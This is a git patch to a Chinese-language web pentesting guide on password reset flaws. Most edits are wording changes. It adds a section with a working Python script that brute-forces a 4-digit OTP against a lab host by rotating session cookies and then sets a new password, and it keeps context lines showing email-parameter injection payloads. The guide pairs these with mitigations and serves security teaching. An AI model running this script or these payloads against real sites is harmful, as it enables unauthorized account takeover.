From afbab63334a76983539b854711547f5c8d8f74e1 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:42:49 +0000 Subject: [PATCH] Translated ['src/pentesting-web/reset-password.md'] to zh --- src/pentesting-web/reset-password.md | 82 +++++++++++++++++++++++++--- 1 file changed, 73 insertions(+), 9 deletions(-) diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 28a6b6866..2b1601f89 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -14,14 +14,14 @@ ## **密码重置中毒** -- 攻击者可能在密码重置请求期间操纵Host头,将重置链接指向恶意网站。 +- 攻击者可能在密码重置请求中操纵Host头,将重置链接指向恶意网站。 - **影响**:通过将重置令牌泄露给攻击者,可能导致账户接管。 - **缓解步骤**: - 验证Host头是否在允许的域名白名单中。 - 使用安全的服务器端方法生成绝对URL。 - **补丁**:使用`$_SERVER['SERVER_NAME']`构造密码重置URL,而不是`$_SERVER['HTTP_HOST']`。 - **参考**: -- [Acunetix关于密码重置中毒的文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **通过操纵电子邮件参数重置密码** @@ -45,7 +45,7 @@ POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- 使用抄送将攻击者电子邮件作为第二个参数添加 +- 使用 cc 将攻击者电子邮件作为第二个参数添加 ```php POST /resetPassword [...] @@ -63,7 +63,7 @@ POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- 将攻击者电子邮件作为 JSON 数组中的第二个参数添加 +- 在 JSON 数组中添加攻击者电子邮件作为第二个参数 ```php POST /resetPassword [...] @@ -72,7 +72,7 @@ POST /resetPassword - **缓解步骤**: - 服务器端正确解析和验证电子邮件参数。 - 使用预处理语句或参数化查询以防止注入攻击。 -- **参考**: +- **参考文献**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) @@ -108,9 +108,9 @@ POST /api/changepass - 基于用户的电子邮件 - 基于名字和姓氏 - 基于出生日期 -- 基于密码学 +- 基于加密 - **缓解步骤**: -- 使用强大的密码学方法生成令牌。 +- 使用强大的加密方法生成令牌。 - 确保足够的随机性和长度以防止可预测性。 - **工具**:使用Burp Sequencer分析令牌的随机性。 @@ -123,7 +123,7 @@ uuid-insecurities.md {{#endref}} - **缓解步骤**: -- 对于随机性使用GUID版本4,或对其他版本实施额外的安全措施。 +- 使用GUID版本4以确保随机性,或对其他版本实施额外的安全措施。 - **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)分析和生成GUID。 ## **响应操纵:用好响应替换坏响应** @@ -146,7 +146,7 @@ uuid-insecurities.md - 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌,以绕过基于IP的速率限制。 - **缓解步骤**: - 实施强大的速率限制和账户锁定机制。 -- 监控可疑活动,以指示暴力破解攻击。 +- 监控可疑活动以指示暴力破解攻击。 ## **尝试使用您的令牌** @@ -166,6 +166,70 @@ uuid-insecurities.md - **缓解步骤**: - 为重置令牌设置合理的过期时间,并在服务器端严格执行。 +## **通过更改会话绕过OTP速率限制** + +- 如果网站使用用户会话跟踪错误的OTP尝试,并且OTP较弱(<= 4位数字),则我们可以有效地暴力破解OTP。 +- **利用**: +- 在被服务器阻止后请求一个新的会话令牌。 +- **示例**代码,通过随机猜测OTP来利用此漏洞(当您更改会话时,OTP也会更改,因此我们将无法顺序暴力破解它!): + +``` python +# 通过密码重置绕过身份验证 +# by coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] 开始攻击!") +sleep(3) +print("[+] 这可能需要大约5分钟才能完成!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 从0到9999的随机数,4位 +parms["s"] = 164 # 不重要,只影响前端 +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # 尝试次数 +out = requests.get(logout,headers=headers) # 注销 +mainp = requests.get(root) # 获取另一个phpssid(令牌) + +cookies = out.cookies # 提取sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # 用新会话更新头部 + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # 发送电子邮件以更改密码 +ter = 0 # 重置ter,以便在8次尝试后获取新会话 +else: +ter += 1 +if(len(res.text) == 2292): # 当您正确获取恢复代码时页面的长度(通过测试获得) +print(len(res.text)) # 用于调试信息 +print(phpsessid) + +reset_data = { # 在这里我们将密码更改为新密码 +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] 密码已更改为:D37djkamd!") +break +except Exception as e: +print("[+] 攻击停止") +``` + ## 参考 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)